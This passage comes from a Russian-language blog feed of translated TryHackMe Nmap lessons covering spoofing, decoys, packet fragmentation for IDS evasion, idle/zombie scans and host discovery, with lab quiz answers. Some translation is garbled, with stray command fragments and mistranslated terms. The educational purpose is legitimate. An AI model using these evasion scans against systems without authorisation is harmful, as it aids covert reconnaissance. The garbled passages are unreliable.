80/tcp  closed http
MAC Address: 02:78:C0:D0:4E:E9 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 14.84 seconds
      </pre>
  <h3 id="AmWy">Пользовательское сканирование</h3>
  <p id="gGco">Если вы хотите поэкспериментировать с новой комбинацией флагов TCP , выходящей за рамки встроенных типов сканирования TCP , вы можете сделать это с помощью <code>--scanflags </code>. Например, если вы хотите одновременно установить SYN, RST и FIN, вы можете сделать это с помощью <code>--scanflags RSTSYNFIN </code>. Как показано на рисунке ниже, если вы разрабатываете собственное сканирование, вам необходимо знать, как будут вести себя различные порты, чтобы правильно интерпретировать результаты в различных сценариях.</p>
  <p id="V4wB">х</p>
  <figure id="khBI" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/d76c5020f14ac0d66e7ff3812bb0bec3.png" width="862" />
  </figure>
  <p id="GGbz">Наконец, важно отметить, что сканирование ACK и сканирование окна оказались очень эффективными в составлении карты правил брандмауэра . Однако необходимо помнить, что если брандмауэр не блокирует определенный порт, это не обязательно означает, что служба прослушивает этот порт. Например, возможно, правила брандмауэра необходимо обновить, чтобы отразить недавние изменения в работе служб. Следовательно, сканирование ACK и сканирование окна выявляют правила брандмауэра , а не службы.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="gG59">Вопрос: Сколько флагов устанавливается при сканировании окна TCP?</p>
    <p id="6Wky">Ответ: 1</p>
    <p id="gsxo">Вопрос: Вы решили поэкспериментировать с пользовательским сканированием TCP, в котором установлен флаг сброса. Что бы вы добавили после  <code>--scanflags</code>?</p>
    <p id="AToE">Ответ: RST</p>
    <p id="BTrq">Вопрос: Виртуальная машина получила обновление правил брандмауэра. Теперь брандмауэр разрешает новый порт. После того, как вы убедитесь, что завершили работу виртуальной машины из Задания 2, запустите виртуальную машину для этого задания. Запустите AttackBox, если вы еще этого не сделали. Как только обе машины будут готовы, откройте терминал на AttackBox и используйте Nmap для запуска сканирования ACK целевой виртуальной машины. Сколько портов отображается без фильтрации?</p>
    <p id="Nr0H">Ответ: 4</p>
    <p id="cOgh">Вопрос: Какой новый номер порта появился? Чтобы определить новый порт, необходимо сравнить результаты сканирования Задания 2 с результатами этого задания.</p>
    <p id="KQpa">Ответ: 443</p>
    <p id="z4zN">Вопрос: Есть ли какая-либо услуга, связанная с недавно обнаруженным номером порта? (Да/Нет)</p>
    <p id="JuIZ">Ответ: N</p>
  </section>
  <h2 id="T6QY">Task 5. Spoofing and Decoys </h2>
  <p id="zw56">В некоторых сетевых конфигурациях вы можете сканировать целевую систему, используя поддельный IP-адрес и даже поддельный MAC-адрес. Такое сканирование полезно только в том случае, если вы можете гарантировать получение ответа. Если вы попытаетесь сканировать целевую систему из случайной сети, используя поддельный IP-адрес, скорее всего, вы не получите никакого ответа, и результаты сканирования могут быть ненадежными.</p>
  <p id="66Um">На следующем рисунке показано, как злоумышленник запускает команду <code>nmap -S SPOOFED_IP MACHINE_IP</code>. В результате Nmap сформирует все пакеты, используя предоставленный исходный IP-адрес <code>SPOOFED_IP</code>. Целевая машина будет отвечать на входящие пакеты, отправляя ответы на целевой IP-адрес <code>SPOOFED_IP</code>. Для того чтобы сканирование работало и давало точные результаты, злоумышленнику необходимо отслеживать сетевой трафик для анализа ответов.</p>
  <figure id="zryM" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/45b982d501fd26deb2b381059b16f80c.png" width="882" />
  </figure>
  <p id="NJQr">Вкратце, сканирование с использованием поддельного IP-адреса состоит из трех шагов:</p>
  <ol id="OQ1Q">
    <li id="jssv">Злоумышленник отправляет пакет с поддельным IP-адресом отправителя на целевой компьютер.</li>
    <li id="3wiR">Целевой компьютер отвечает, указывая в качестве адреса назначения поддельный IP-адрес.</li>
    <li id="a60Z">Злоумышленник перехватывает ответы, чтобы определить открытые порты.</li>
  </ol>
  <p id="Kx5t">Как правило, предполагается указать сетевой интерфейс с помощью команды <code>-e</code>&#x60;ping&#x60; и явно отключить сканирование ping <code>-Pn</code>. Поэтому вместо &#x60; <code>nmap -S SPOOFED_IP MACHINE_IP</code>ping&#x60; вам потребуется использовать команду &#x60;ping&#x60; <code>nmap -e NET_INTERFACE -Pn -S SPOOFED_IP MACHINE_IP</code>, чтобы явно указать Nmap , какой сетевой интерфейс использовать, и не ожидать ответа на ping. Стоит повторить, что это сканирование будет бесполезно, если система злоумышленника не сможет отслеживать сеть на предмет ответов.</p>
  <p id="EmD0">Находясь в той же подсети, что и целевой компьютер, вы также сможете подменить свой MAC-адрес. Вы можете указать исходный MAC-адрес с помощью команды &#x60;make - <code>--spoof-mac SPOOFED_MAC</code>...</p>
  <p id="TFsf">Подмена IP-адресов работает лишь в минимальном количестве случаев, когда выполняются определенные условия. Поэтому злоумышленник может прибегнуть к использованию поддельных IP-адресов, чтобы затруднить обнаружение. Концепция проста: сканирование должно выглядеть так, будто оно исходит со множества IP-адресов, чтобы IP-адрес злоумышленника затерялся среди них. Как показано на рисунке ниже, сканирование целевой машины будет выглядеть так, будто оно исходит из 3 разных источников, и, следовательно, ответы будут поступать и в поддельные IP-адреса.</p>
  <figure id="tCcl" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/754fc455556a424ca83f512665beaf7d.png" width="882" />
  </figure>
  <p id="1cDp">Вы можете запустить сканирование с использованием ложных целей, указав конкретный или случайный IP-адрес после команды <code>-D</code>&#x60;.&#x60;. Например, команда &#x60; <code>nmap -D 10.10.0.1,10.10.0.2,ME MACHINE_IP</code>.&#x60; заставит сканирование MACHINE_IP выглядеть так, будто оно исходит с IP-адресов 10.10.0.1, 10.10.0.2, а затем <code>ME</code>команда &#x60;.&#x60; укажет, что ваш IP-адрес должен быть третьим в списке. Другой пример команды &#x60;.&#x60; — &#x60;.&#x60; <code>nmap -D 10.10.0.1,10.10.0.2,RND,RND,ME MACHINE_IP</code>, где третий и четвертый исходные IP-адреса назначаются случайным образом, а пятым источником будет IP-адрес злоумышленника. Другими словами, при каждом выполнении последней команды вы ожидаете, что в качестве третьего и четвертого источников ложных целей будут использоваться два новых случайных IP-адреса.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="URjF">Вопрос: Что нужно добавить в команду  <code>sudo nmap MACHINE_IP</code> , чтобы сканирование отображалось так, будто оно выполняется с исходного IP-адреса,  <code>10.10.10.11</code> а не с вашего IP-адреса?</p>
    <p id="ZiY5">Ответ: -S 10.10.10.11</p>
    <p id="Cmoa">Вопрос: Что нужно добавить к команде  <code>sudo nmap MACHINE_IP</code> , чтобы сканирование отображалось так, будто оно выполняется с исходных IP-адресов  <code>10.10.20.21</code> , а  <code>10.10.20.28</code> также с вашего собственного IP-адреса?</p>
    <p id="dOT1">Ответ: -D 10.10.20.21,10.10.20.28,ME</p>
  </section>
  <h2 id="tlCc">Task 6. Fragmented Packets </h2>
  <h3 id="UVK9">Брандмауэр</h3>
  <p id="jcoG">Брандмауэр — это программное или аппаратное устройство, которое разрешает прохождение пакетов или блокирует их. Он работает на основе правил брандмауэра , которые можно кратко описать как блокировку всего трафика с исключениями или разрешение всего трафика с исключениями. Например, вы можете заблокировать весь трафик к вашему серверу, кроме того, который поступает на ваш веб-сервер. Традиционный брандмауэр проверяет, как минимум, заголовок IP-адреса и заголовок транспортного уровня. Более сложный брандмауэр также попытается проверить данные, передаваемые транспортным уровнем.</p>
  <h3 id="LQab">ИРС</h3>
  <p id="Rek0">Система обнаружения вторжений ( IDS ) проверяет сетевые пакеты на наличие определенных поведенческих шаблонов или специфических сигнатур содержимого. Она выдает предупреждение всякий раз, когда обнаруживается вредоносное правило. В дополнение к заголовку IP и заголовку транспортного уровня, IDS проверяет содержимое данных на транспортном уровне и проверяет, соответствует ли оно каким-либо вредоносным шаблонам. Как можно снизить вероятность обнаружения вашей активности Nmap традиционным межсетевым экраном / IDS ? На этот вопрос нелегко ответить; однако, в зависимости от типа межсетевого экрана / IDS , может быть полезно разделить пакет на более мелкие пакеты.</p>
  <h3 id="OaTo">Фрагментированные пакеты</h3>
  <p id="0u0I">Nmap предоставляет возможность <code>-f</code>фрагментации пакетов. После выбора этой опции IP-данные будут разделены на фрагменты размером не более 8 байт. Добавление еще одного параметра <code>-f</code>( <code>-f -f</code>или <code>-ff</code>) разделит данные на фрагменты по 16 байт вместо 8. Вы можете изменить значение по умолчанию, используя параметр <code>--mtu</code>; однако всегда следует выбирать значение, кратное 8.</p>
  <p id="95zv">Для правильного понимания фрагментации нам необходимо взглянуть на заголовок IP-пакета на рисунке ниже. На первый взгляд он может показаться сложным, но мы видим, что большинство его полей нам известны. В частности, обратите внимание на адрес источника, занимающий 32 бита (4 байта) в четвертой строке, а адрес назначения — еще 4 байта в пятой строке. Данные, которые мы будем фрагментировать на несколько пакетов, выделены красным цветом. Для облегчения сборки на стороне получателя IP использует идентификатор (ID) и смещение фрагмента, показанные во второй строке рисунка ниже.</p>
  <figure id="nEKy" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/5e55834e2638ba7ec9e84a0900b68ccb.png" width="1282" />
  </figure>
  <p id="Rphq">Давайте сравним выполнение команд &#x60;np&#x60; <code>sudo nmap -sS -p80 10.20.30.144</code>и &#x60; <code>sudo nmap -sS -p80 -f 10.20.30.144</code>np&#x60;. Как вы уже знаете, в первом случае будет использоваться скрытое сканирование TCP SYN на порту 80; однако во второй команде мы запрашиваем у Nmap фрагментацию IP-пакетов.</p>
  <p id="rLif">В первых двух строках мы видим ARP-запрос и ответ. Nmap отправил ARP-запрос, поскольку целевой объект находится в том же Ethernet-соединении. Вторые две строки показывают TCP SYN-пинг и ответ. Пятая строка — это начало сканирования портов; Nmap отправляет TCP SYN-пакет на порт 80. В этом случае заголовок IP составляет 20 байт, а заголовок TCP — 24 байта. Обратите внимание, что минимальный размер заголовка TCP составляет 20 байт.</p>
  <figure id="gLFF" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/b817b7d8b8ef9ee64dd9494e31def426.png" width="915" />
  </figure>
  <p id="Ulo8">При фрагментации, запрошенной через параметр &#x60;--fragment&#x60; <code>-f</code>, 24 байта заголовка TCP будут разделены на фрагменты, кратные 8 байтам, при этом последний фрагмент будет содержать не более 8 байтов заголовка TCP . Поскольку 24 делится на 8, мы получаем 3 фрагмента IP; каждый из них содержит 20 байтов заголовка IP и 8 байтов заголовка TCP . Три фрагмента можно увидеть между пятой и седьмой строками.</p>
  <figure id="29Jx" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/953fd599d2afaa8efb36923b02707d2b.png" width="915" />
  </figure>
  <p id="YNZb">Обратите внимание, что если вы добавите <code>-ff</code>(или <code>-f -f</code>), фрагментация данных будет кратна 16. Другими словами, 24 байта заголовка TCP в этом случае будут разделены на два фрагмента IP: первый будет содержать 16 байтов, а второй — 8 байтов заголовка TCP.</p>
  <p id="8oH5">С другой стороны, если вы предпочитаете увеличить размер пакетов, чтобы они выглядели безобидными, вы можете использовать опцию <code>--data-length NUM</code>, где num указывает количество байтов, которые вы хотите добавить к вашим пакетам.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="PfF1">Вопрос: Если размер TCP-сегмента составляет 64 байта, и  <code>-ff</code> используется опция, сколько IP-фрагментов вы получите?</p>
    <p id="v4Qm">Ответ:4 </p>
  </section>
  <h2 id="gneY">Task 7. Idle/Zombie Scan </h2>
  <p id="ZTdR">Подмена исходного IP-адреса может быть отличным способом скрытого сканирования. Однако подмена работает только в определенных сетевых конфигурациях. Она требует наличия возможности отслеживать трафик. Учитывая эти ограничения, подмена IP-адреса может быть малоэффективна; однако мы можем улучшить этот метод с помощью сканирования в режиме ожидания.</p>
  <p id="frnF">Для сканирования в режиме ожидания, или сканирования «зомби» , требуется система, находящаяся в режиме ожидания и подключенная к сети, с которой вы можете взаимодействовать. На практике Nmap будет создавать видимость каждого зондирующего запроса от хоста в режиме ожидания ( зомби ), а затем проверять, получил ли хост в режиме ожидания ( зомби ) какой-либо ответ на поддельный запрос. Это достигается путем проверки значения IP-идентификатора (IP ID) в заголовке IP. Вы можете запустить сканирование в режиме ожидания, используя команду &#x60;npm run src&#x60; <code>nmap -sI ZOMBIE_IP MACHINE_IP</code>, где <code>ZOMBIE_IP</code>&#x60;npm run src&#x60; — это IP-адрес хоста в режиме ожидания ( зомби ).</p>
  <p id="aanH">Для проверки доступности (на наличие « зомби-памяти ») порта необходимо выполнить следующие три шага:</p>
  <ol id="3Py9">
    <li id="KVlu">Чтобы записать текущий IP-адрес неактивного хоста, необходимо активировать ответ на этом хосте.</li>
    <li id="YBJ4">Отправьте SYN-пакет на TCP- порт целевого устройства. Пакет должен быть подделан таким образом, чтобы создавалось впечатление, будто он отправлен с IP-адреса неактивного хоста ( зомби-сервера ).</li>
    <li id="kF5I">Повторно запустите неактивный компьютер, чтобы он ответил, и вы могли сравнить новый IP-адрес с тем, который был получен ранее.</li>
  </ol>
  <p id="avFk">Давайте объясним на рисунках. На рисунке ниже показана система злоумышленника, которая проверяет неактивный компьютер — многофункциональный принтер. Отправив SYN/ACK, она отвечает пакетом RST, содержащим её вновь увеличенный IP-адрес.</p>
  <figure id="fsE8" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/a93e181f0effe000554a8b307448bbb2.png" width="882" />
  </figure>
  <p id="0CLd">Злоумышленник отправит SYN-пакет на TCP- порт, который он хочет проверить на целевой машине на следующем шаге. Однако этот пакет будет использовать IP-адрес неактивного хоста ( зомби- хоста ) в качестве источника. Могут возникнуть три сценария. В первом сценарии, показанном на рисунке ниже, TCP- порт закрыт; следовательно, целевая машина отвечает неактивному хосту пакетом RST. Неактивный хост не отвечает; следовательно, его IP-адрес не увеличивается.</p>
  <figure id="0VBw" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/8e28bf940936ddbc2367b193ea3550b8.png" width="882" />
  </figure>
  <p id="454G">Во втором сценарии, как показано ниже, TCP- порт открыт, поэтому целевая машина отвечает SYN/ACK неактивному хосту ( зомби- хосту ). Неактивный хост отвечает на этот неожиданный пакет пакетом RST, тем самым увеличивая свой IP-адрес.</p>
  <figure id="ouNA" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/2b0de492e2154a30760852e07cebae0e.png" width="882" />
  </figure>
  <p id="AYaL">В третьем сценарии целевая машина вообще не отвечает из-за правил брандмауэра . Отсутствие ответа приведет к тому же результату, что и при закрытом порту: неактивный хост не увеличит свой IP-адрес.</p>
  <p id="eGNv">На заключительном этапе злоумышленник отправляет еще один SYN/ACK на неактивный хост. Неактивный хост отвечает пакетом RST, снова увеличивая IP-адрес на единицу. Злоумышленнику необходимо сравнить IP-адрес пакета RST, полученного на первом этапе, с IP-адресом пакета RST, полученного на третьем этапе. Если разница равна 1, это означает, что порт на целевой машине был закрыт или отфильтрован. Однако, если разница равна 2, это означает, что порт на целевой машине был открыт.</p>
  <p id="K1Jv">Стоит повторить, что это сканирование называется сканированием в режиме ожидания, поскольку выбор неактивного хоста имеет решающее значение для точности сканирования. Если «неактивный хост» занят, все возвращаемые IP- адреса будут бесполезны.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="eIUu">Вопрос: Вы обнаружили редко используемый сетевой принтер с IP-адресом  <code>10.10.5.5</code>, и решили использовать его в качестве «зомби» при сканировании в режиме ожидания. Какой аргумент следует добавить к команде Nmap?</p>
    <p id="quMH">Ответ: -sI 10.10.5.5</p>
  </section>
  <h2 id="ft9D">Task 8. Getting More Details </h2>
  <p id="96PG">Вы можете добавить эту информацию, <code>--reason</code>если хотите, чтобы Nmap предоставлял более подробные сведения о своих рассуждениях и выводах. Рассмотрите два приведенных ниже сканирования системы; однако, последнее добавляет <code>--reason</code>.</p>
  <p id="qRhj">Терминал пентестера</p>
  <pre id="Vwl5">pentester@TryHackMe$ sudo nmap -sS 10.10.252.27

Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 10:39 BST
Nmap scan report for ip-10-10-252-27.eu-west-1.compute.internal (10.10.252.27)
Host is up (0.0020s latency).
Not shown: 994 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
110/tcp open  pop3
111/tcp open  rpcbind
143/tcp open  imap
MAC Address: 02:45:BF:8A:2D:6B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.60 seconds</pre>
  <p id="hX96">Терминал пентестера</p>
  <pre id="SPkX">pentester@TryHackMe$ sudo nmap -sS --reason 10.10.252.27

Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 10:40 BST
Nmap scan report for ip-10-10-252-27.eu-west-1.compute.internal (10.10.252.27)
Host is up, received arp-response (0.0020s latency).
Not shown: 994 closed ports
Reason: 994 resets
PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 64
25/tcp  open  smtp    syn-ack ttl 64
80/tcp  open  http    syn-ack ttl 64
110/tcp open  pop3    syn-ack ttl 64
111/tcp open  rpcbind syn-ack ttl 64
143/tcp open  imap    syn-ack ttl 64
MAC Address: 02:45:BF:8A:2D:6B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds</pre>
  <p id="Vc30">Указание этого <code>--reason</code>флага дает нам четкое представление о том, почему Nmap пришел к выводу, что система работает или определенный порт открыт. В приведенном выше выводе консоли мы видим, что система считается онлайн, поскольку Nmap «получил arp-ответ». С другой стороны, мы знаем, что порт SSH считается открытым, поскольку Nmap получил обратно пакет «syn-ack».</p>
  <p id="T1H5">Для получения более подробной информации можно использовать команду &#x60;p&#x60; <code>-v</code>для подробного вывода или &#x60;p&#x60; <code>-vv</code>для еще большей детализации.</p>
  <p id="8e7c">Терминал пентестера</p>
  <pre id="ljKS">pentester@TryHackMe$ sudo nmap -sS -vv 10.10.252.27

Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 10:41 BST
Initiating ARP Ping Scan at 10:41
Scanning 10.10.252.27 [1 port]
Completed ARP Ping Scan at 10:41, 0.22s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 10:41
Completed Parallel DNS resolution of 1 host. at 10:41, 0.00s elapsed
Initiating SYN Stealth Scan at 10:41
Scanning ip-10-10-252-27.eu-west-1.compute.internal (10.10.252.27) [1000 ports]
Discovered open port 22/tcp on 10.10.252.27
Discovered open port 25/tcp on 10.10.252.27
Discovered open port 80/tcp on 10.10.252.27
Discovered open port 110/tcp on 10.10.252.27
Discovered open port 111/tcp on 10.10.252.27
Discovered open port 143/tcp on 10.10.252.27
Completed SYN Stealth Scan at 10:41, 1.25s elapsed (1000 total ports)
Nmap scan report for ip-10-10-252-27.eu-west-1.compute.internal (10.10.252.27)
Host is up, received arp-response (0.0019s latency).
Scanned at 2021-08-30 10:41:02 BST for 1s
Not shown: 994 closed ports
Reason: 994 resets
PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 64
25/tcp  open  smtp    syn-ack ttl 64
80/tcp  open  http    syn-ack ttl 64
110/tcp open  pop3    syn-ack ttl 64
111/tcp open  rpcbind syn-ack ttl 64
143/tcp open  imap    syn-ack ttl 64
MAC Address: 02:45:BF:8A:2D:6B (Unknown)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds
           Raw packets sent: 1002 (44.072KB) | Rcvd: 1002 (40.092KB)</pre>
  <p id="syU0">Если <code>-vv</code>это не удовлетворит ваше любопытство, вы можете использовать это <code>-d</code>для отладки деталей или <code>-dd</code>для получения еще более подробной информации. Вы можете быть уверены, что использование этого метода <code>-d</code>создаст вывод, выходящий за рамки одного экрана.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="HpJF">Вопрос:  Запустите AttackBox, если вы еще этого не сделали. Убедившись, что вы завершили работу виртуальной машины из Задания 4, запустите виртуальную машину для этого задания. Дождитесь ее полной загрузки, затем откройте терминал на AttackBox и используйте Nmap для  <code>nmap -sS -F --reason MACHINE_IP</code> сканирования виртуальной машины. Какова причина открытия указанных портов?</p>
    <p id="uA6u">Ответ: syn-ack</p>
  </section>
  <h2 id="jwgI">Task 9. Summary</h2>
  <p id="JFJv">В этом кабинете проводились следующие виды сканирования.</p>
  <figure id="4uwO" class="m_original">
    <img src="https://img3.teletype.in/files/25/7c/257c86d9-0dc5-49ff-8d76-f516b9a7b8f0.png" width="826" />
  </figure>
  <p id="EbXZ">Эти типы сканирования основаны на неожиданной установке флагов TCP для запроса ответа от портов. Сканирование Null, FIN и Xmas вызывает ответ от закрытых портов, в то время как сканирование Maimon, ACK и Window вызывает ответ от открытых и закрытых портов.</p>
  <figure id="2of7" class="m_original">
    <img src="https://img2.teletype.in/files/d3/0b/d30b9884-e25c-49fd-ae41-a07132bf5c0e.png" width="1121" />
  </figure>
  <hr />
  <p id="Mynv"><a href="http://t.me/pentest89" target="_blank"><strong>Основная группа</strong></a> обучения ИБ<br /><strong><a href="https://t.me/+fXKM89fYCMVmYjFi" target="_blank">Lab-группу</a></strong> с полезным софтом / книгами / аудио.<br /><a href="https://t.me/+RuwyHi0We0lmZDhi" target="_blank"><strong>Чат</strong> </a>для обсуждений, задавай свои вопросы.<br />P.S. С вами был <a href="https://t.me/Fnay_Offensive" target="_blank">@Fnay_Offensive</a><br />До новой встречи, user_name!</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@fnay_offensive/post_46</guid><link>https://teletype.in/@fnay_offensive/post_46?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=fnay_offensive</link><comments>https://teletype.in/@fnay_offensive/post_46?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=fnay_offensive#comments</comments><dc:creator>fnay_offensive</dc:creator><title>День 42. Nmap Live Host Discovery</title><pubDate>Wed, 04 Mar 2026 08:55:19 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/6c/7e/6c7e80e8-9a16-4eab-9310-4d607d3ad769.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/98/f5/98f58362-68c8-44dc-86f0-631cb95ad070.jpeg"></img>Узнайте, как использовать Nmap для обнаружения активных хостов с помощью сканирования ARP, сканирования ICMP и сканирования TCP/UDP с помощью команды ping.]]></description><content:encoded><![CDATA[
  <figure id="Q3Oe" class="m_original">
    <img src="https://img2.teletype.in/files/98/f5/98f58362-68c8-44dc-86f0-631cb95ad070.jpeg" width="1200" />
  </figure>
  <p id="TyiY">Узнайте, как использовать Nmap для обнаружения активных хостов с помощью сканирования ARP, сканирования ICMP и сканирования TCP/UDP с помощью команды ping.</p>
  <figure id="mgT2" class="m_original">
    <img src="https://img4.teletype.in/files/bc/b6/bcb622a0-5bf5-4af2-ad9f-d9b419dff0f0.jpeg" width="1920" />
  </figure>
  <h2 id="D9oj">Task 1. Introduction </h2>
  <p id="yDXp">Nmap , сокращение от Network Mapper, — это бесплатное программное обеспечение с открытым исходным кодом, распространяемое под лицензией GPL, созданное Гордоном Лайоном (Фёдором), экспертом по сетевой безопасности и программистом, работающим с открытым исходным кодом. Nmap — это стандартный инструмент для построения карт сетей, идентификации активных хостов и обнаружения запущенных служб. </p>
  <figure id="NWa5" class="m_original">
    <img src="https://img4.teletype.in/files/bc/3e/bc3e0124-c40e-40cf-8465-e6a3432fbef9.jpeg" width="1200" />
  </figure>
  <p id="iGAu">Скриптовый движок Nmap позволяет расширить его функциональность, от идентификации служб до эксплуатации уязвимостей. Сканирование с помощью Nmap обычно проходит этапы, показанные на рисунке ниже, хотя многие из них являются необязательными и зависят от аргументов командной строки.</p>
  <figure id="Ip4D" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/f1b4ede255e008646e425038d709c9b6.png" width="642" />
  </figure>
  <h2 id="cCUs">Цели обучения</h2>
  <p id="ytQq">Когда мы хотим нацелиться на определенную сеть, нам нужен эффективный инструмент, который поможет нам справляться с повторяющимися задачами и ответит на следующие вопросы:</p>
  <ol id="cefF">
    <li id="syx6">Какие системы работают?</li>
    <li id="tTyJ">Какие службы работают в этих системах?</li>
  </ol>
  <p id="UgUh">В этой комнате дается ответ на первый вопрос о поиске работающих компьютеров. Эта комната — первая из четырех комнат Nmap . Ответ на второй вопрос об обнаружении запущенных служб дается в следующих комнатах Nmap , посвященных сканированию портов.</p>
  <p id="x5LC">В этом разделе объясняется, какие шаги предпринимает Nmap для обнаружения работающих систем перед сканированием портов. Этот этап имеет решающее значение, поскольку попытка сканирования портов офлайн-систем приведет лишь к пустой трате времени и созданию ненужного сетевого шума.</p>
  <p id="GZpL">Мы представляем различные подходы, которые Nmap использует для обнаружения активных хостов. В частности, мы рассматриваем:</p>
  <ol id="JiTL">
    <li id="gJSJ"><strong>ARP- сканирование</strong> : это сканирование использует ARP- запросы для обнаружения активных хостов.</li>
    <li id="4dg3"><strong>ICMP-сканирование</strong> : это сканирование использует ICMP-запросы для идентификации активных хостов.</li>
    <li id="82hl"><strong>Сканирование TCP / UDP</strong> с помощью команды ping : это сканирование отправляет пакеты на TCP- и UDP- порты для определения активных хостов.</li>
  </ol>
  <p id="t3XQ">Мы также представляем два сканера, <code>arp-scan</code>и <code>masscan</code>, и объясняем, как они пересекаются с частью механизма обнаружения хостов Nmap .</p>
  <h2 id="kOVS">Предварительные условия обучения</h2>
  <ul id="3Lp5">
    <li id="Rvu9"><a href="https://tryhackme.com/room/webapplicationbasics" target="_blank">Основы веб-приложений</a></li>
    <li id="h41l"><a href="https://tryhackme.com/room/networkingessentials" target="_blank">Основы работы в сети</a></li>
    <li id="FPY6"><a href="https://tryhackme.com/room/networkingsecureprotocols" target="_blank">Сетевые протоколы безопасности</a></li>
  </ul>
  <p id="h6Zp">В следующем задании давайте углубимся в изучение некоторых важных концепций, прежде чем приступать к поиску работающих хостов.</p>
  <p id="Hzso"></p>
  <h2 id="64pp">Task 2. Subnetworks </h2>
  <p id="nBQp">Прежде чем перейти к основным задачам, давайте повторим несколько терминов. <em>Сетевой сегмент</em> — это группа компьютеров, соединенных с помощью общей среды передачи данных. Например, средой передачи может быть коммутатор Ethernet или точка доступа Wi-Fi. В IP-сети <em>подсеть</em> обычно представляет собой один или несколько сетевых сегментов, соединенных вместе и настроенных на использование одного и того же маршрутизатора. Сетевой сегмент обозначает физическое соединение, а подсеть — логическое соединение.</p>
  <p id="8y1h">На приведенной ниже сетевой схеме представлены четыре сетевых сегмента или подсети. В общем, ваша система будет подключена к одному из этих сетевых сегментов/подсетей. Подсеть, или просто подсеть, имеет свой собственный диапазон IP-адресов и подключается к более обширной сети через маршрутизатор. В зависимости от сети может быть установлен брандмауэр, обеспечивающий соблюдение политик безопасности.</p>
  <figure id="UqVB" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/aa787518e856e0094cb40da8399be0f3.png" width="1400" />
  </figure>
  <p id="XLiA">На рисунке выше показаны два типа подсетей:</p>
  <ul id="xoWN">
    <li id="9v6r">Подсети с маской подсети <code>/16</code>, что означает, что маска подсети может быть записана как <code>255.255.0.0</code>. Эта подсеть может вместить около 65 000 хостов.</li>
    <li id="oVLz">Подсети с <code>/24</code>, что указывает на возможность выражения маски подсети как <code>255.255.255.0</code>. Такая подсеть может содержать около 250 хостов.</li>
  </ul>
  <p id="Mp1O">Если вам нужно узнать больше о подсетях, вы можете обратиться к заданию 2 в комнате <a href="https://tryhackme.com/room/introtolan" target="_blank">«Введение в локальные сети» .</a></p>
  <p id="fzUD">В рамках активной разведки мы хотим получить больше информации о группе хостов или о подсети. Если вы находитесь в одной подсети, вы ожидаете, что ваш сканер будет использовать запросы ARP (Address Resolution Protocol ) для обнаружения активных хостов. Цель запроса ARP — получить аппаратный адрес (MAC-адрес), чтобы обеспечить связь на канальном уровне; однако мы можем предположить, что хост находится в сети. (Мы вернемся к канальному уровню в Задании 4.)</p>
  <p id="oWcV">Если вы находитесь в сети A, вы можете использовать ARP только для обнаружения устройств в этой подсети (10.1.100.0/24). Предположим, вы подключены к подсети, отличной от подсети целевой системы (систем). В этом случае все пакеты, генерируемые вашим сканером, будут маршрутизироваться через шлюз по умолчанию (маршрутизатор) для достижения систем в другой подсети; однако ARP- запросы не будут маршрутизироваться и, следовательно, не смогут пройти через маршрутизатор подсети. ARP — это протокол канального уровня, и ARP- пакеты привязаны к своей подсети.</p>
  <p id="SZbv">Нажмите кнопку «Просмотреть сайт», чтобы запустить сетевой симулятор. Мы будем использовать этот симулятор для ответа на вопросы заданий 2, 4 и 5.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="djhj">Вопрос: Сколько устройств могут увидеть ARP-запрос?</p>
    <p id="8bno"><strong>Ответ: 4</strong></p>
    <p id="ZSsF">Вопрос: Получил ли компьютер 6 ARP-запрос? (Да/Нет)</p>
    <p id="PwIA"><strong>Ответ: N</strong></p>
    <p id="uXsL">Вопрос: Отправьте пакет со следующим содержимым:</p>
    <figure id="waqf" class="m_original">
